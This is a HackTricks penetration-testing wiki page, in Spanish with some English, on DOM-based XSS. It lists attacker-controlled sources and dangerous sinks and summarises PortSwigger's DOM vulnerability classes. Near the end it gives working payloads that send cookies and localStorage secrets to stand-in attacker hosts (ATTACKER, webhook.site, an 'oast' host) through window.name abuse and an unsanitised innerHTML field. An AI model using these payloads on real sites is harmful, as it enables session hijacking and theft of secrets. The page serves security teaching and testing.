DOM XSS

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Vulnerabilidades DOM

Las vulnerabilidades DOM ocurren cuando datos provenientes de sources controladas por el atacante (como location.search, document.referrer, o document.cookie) se transfieren de forma insegura a sinks. Los sinks son funciones u objetos (p. ej., eval(), document.body.innerHTML) que pueden ejecutar o renderizar contenido dañino si reciben datos maliciosos.

  • Sources son entradas que pueden ser manipuladas por atacantes, incluyendo URLs, cookies y mensajes web.
  • Sinks son endpoints potencialmente peligrosos donde datos maliciosos pueden causar efectos adversos, como la ejecución de scripts.

El riesgo surge cuando los datos fluyen desde una source a una sink sin la validación o el saneamiento adecuados, lo que posibilita ataques como XSS.

Tip

Puedes encontrar una lista más actualizada de sources y sinks en https://github.com/wisec/domxsswiki/wiki

Common sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.

Este tipo de XSS es probablemente el más difícil de encontrar, ya que necesitas mirar dentro del código JS, ver si está usando algún objeto cuyo valor controlas y, en ese caso, comprobar si hay alguna forma de abusar de ello para ejecutar JS arbitrario.

Tools to find them

Examples

Open Redirect

De: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.

It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

Las vulnerabilidades DOM-based de cookie-manipulation ocurren cuando un script incorpora datos, que pueden ser controlados por un atacante, en el valor de una cookie. Esta vulnerabilidad puede provocar comportamientos inesperados en la página web si la cookie se utiliza dentro del sitio. Además, puede explotarse para llevar a cabo un ataque de session fixation si la cookie está implicada en el seguimiento de sesiones de usuario. El sink principal asociado con esta vulnerabilidad es:

Sinks:

document.cookie

JavaScript Injection

From: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection vulnerabilities se crean cuando un script ejecuta datos que pueden ser controlados por un atacante como código JavaScript.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

Desde: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities ocurren cuando un script establece la propiedad document.domain usando datos que un atacante puede controlar.

La propiedad document.domain desempeña un papel clave en la aplicación de la same-origin policy por parte de los navegadores. Cuando dos páginas de orígenes diferentes establecen su document.domain al mismo valor, pueden interactuar sin restricciones. Aunque los navegadores imponen ciertos límites en los valores asignables a document.domain, impidiendo la asignación de valores completamente no relacionados con el origen real de la página, existen excepciones. Normalmente, los navegadores permiten el uso de subdominios o dominios padre.

Sinks:

document.domain

WebSocket-URL poisoning

Desde: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning ocurre cuando un script utiliza datos controlables como la URL de destino para una conexión WebSocket.

Sinks:

El constructor WebSocket puede conducir a vulnerabilidades de WebSocket-URL poisoning.

Desde: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities surgen cuando un script escribe datos controlables por el atacante en un objetivo de navegación dentro de la página actual, como un enlace clicable o la URL de envío de un formulario.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

Fuente: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities surgen cuando un script escribe datos controlables por un atacante en una solicitud Ajax que se realiza usando un objeto XmlHttpRequest.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

De: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities surgen cuando un script pasa datos controlables por un atacante a una API de manejo de archivos como el parámetro filename. Esta vulnerabilidad puede ser explotada por un atacante para construir una URL que, si la visita otro usuario, podría provocar que el navegador del usuario abra o escriba un archivo local arbitrario.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities ocurren cuando un script incorpora datos controlables por el atacante en una consulta SQL del lado del cliente de manera insegura.

Sinks:

executeSql()

HTML5-storage manipulation

De: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities surgen cuando un script almacena datos controlables por un atacante en el almacenamiento HTML5 del navegador (localStorage o sessionStorage). Si bien esta acción no es inherentemente una vulnerabilidad de seguridad, se vuelve problemática si la aplicación posteriormente lee los datos almacenados y los procesa de forma insegura. Esto podría permitir a un atacante aprovechar el mecanismo de almacenamiento para llevar a cabo otros ataques basados en el DOM, como cross-site scripting y JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities ocurren cuando un script incorpora attacker-controllable data into an XPath query.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

From: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities ocurren cuando un script incorpora datos controlados por el atacante en una cadena que se analiza como una estructura de datos JSON y luego es procesada por la aplicación.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

Fuente: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities se producen cuando un script envía datos controlados por el atacante como un web message a otro documento dentro del navegador. Un ejemplo de Web-message manipulation vulnerable puede encontrarse en PortSwigger’s Web Security Academy.

Sinks:

El método postMessage() para enviar web messages puede dar lugar a vulnerabilidades si el manejador de eventos que recibe los mensajes trata los datos entrantes de forma insegura.

DOM-data manipulation

Fuente: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities se producen cuando un script escribe datos controlados por el atacante en un campo dentro del DOM que se utiliza en la interfaz visible o en la lógica del lado del cliente. Esta vulnerabilidad puede ser explotada por un atacante para construir una URL que, si la visita otro usuario, puede alterar la apariencia o el comportamiento de la UI del lado del cliente.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

Fuente: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities ocurren cuando un script pasa datos controlables por el atacante de forma insegura a una API de plataforma problemática. Esto incluye APIs que, cuando se invocan, pueden hacer que el equipo del usuario consuma cantidades excesivas de CPU o espacio en disco. Tales vulnerabilidades pueden tener efectos secundarios significativos, como que el navegador restrinja la funcionalidad del sitio web rechazando intentos de almacenar datos en localStorage o interrumpiendo scripts ocupados.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

Variables globales implícitas & abuso de window.name

Referenciar name sin una declaración (var/let/const) se resuelve a window.name. Debido a que window.name persiste a través de navegaciones cross-origin, un atacante puede prellenar el nombre del contexto de navegación con HTML/JS y luego hacer que el código de la víctima lo renderice como datos de confianza:

  • Abre/navega el objetivo en un contexto con nombre que controlas:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • O reutilizar window.open con un nombre de destino creado a medida:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

Si la aplicación posteriormente hace element.innerHTML = name (o un sink similar) sin sanitización, la cadena window.name controlada por el atacante se ejecuta en el origen de destino, permitiendo DOM XSS y acceso a same-origin storage.

Flujos Admin/automatización: almacenamiento precargado y navegación javascript:

Los bots de automatización (p. ej., Playwright) suelen visitar primero una página interna, establecer secretos en localStorage/cookies y luego navegar a URLs proporcionadas por el usuario. Cualquier primitiva de DOM XSS (incluido el abuso de window.name) en ese flujo puede exfiltrar el secreto precargado:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

Si el bot no restringe los schemes, suministrar una URL javascript: (javascript:fetch(...)) se ejecuta en el origen actual sin nueva navegación, leak storage values directamente.

Template literal innerHTML + brechas de sanitización parcial

Los frontends que sanitizan solo campos seleccionados pero aún interpolan uno no confiable directamente en innerHTML son trivialmente explotables. Ejemplo:

fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});

Si el campo no saneado se almacena en el servidor (p. ej., el campo “details” de un bug report), la payload se convierte en stored DOM XSS para cualquier usuario privilegiado que vea la lista. Una payload simple como <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> se ejecuta cuando un admin abre la página y exfiltrates sus cookies.

Cuando la app deshabilita explícitamente SESSION_COOKIE_HTTPONLY (p. ej., Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), la cookie robada concede inmediatamente la sesión del admin aunque el secreto de firma rote en cada arranque (un secret_key aleatorio impide la falsificación, pero el robo sigue funcionando).

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks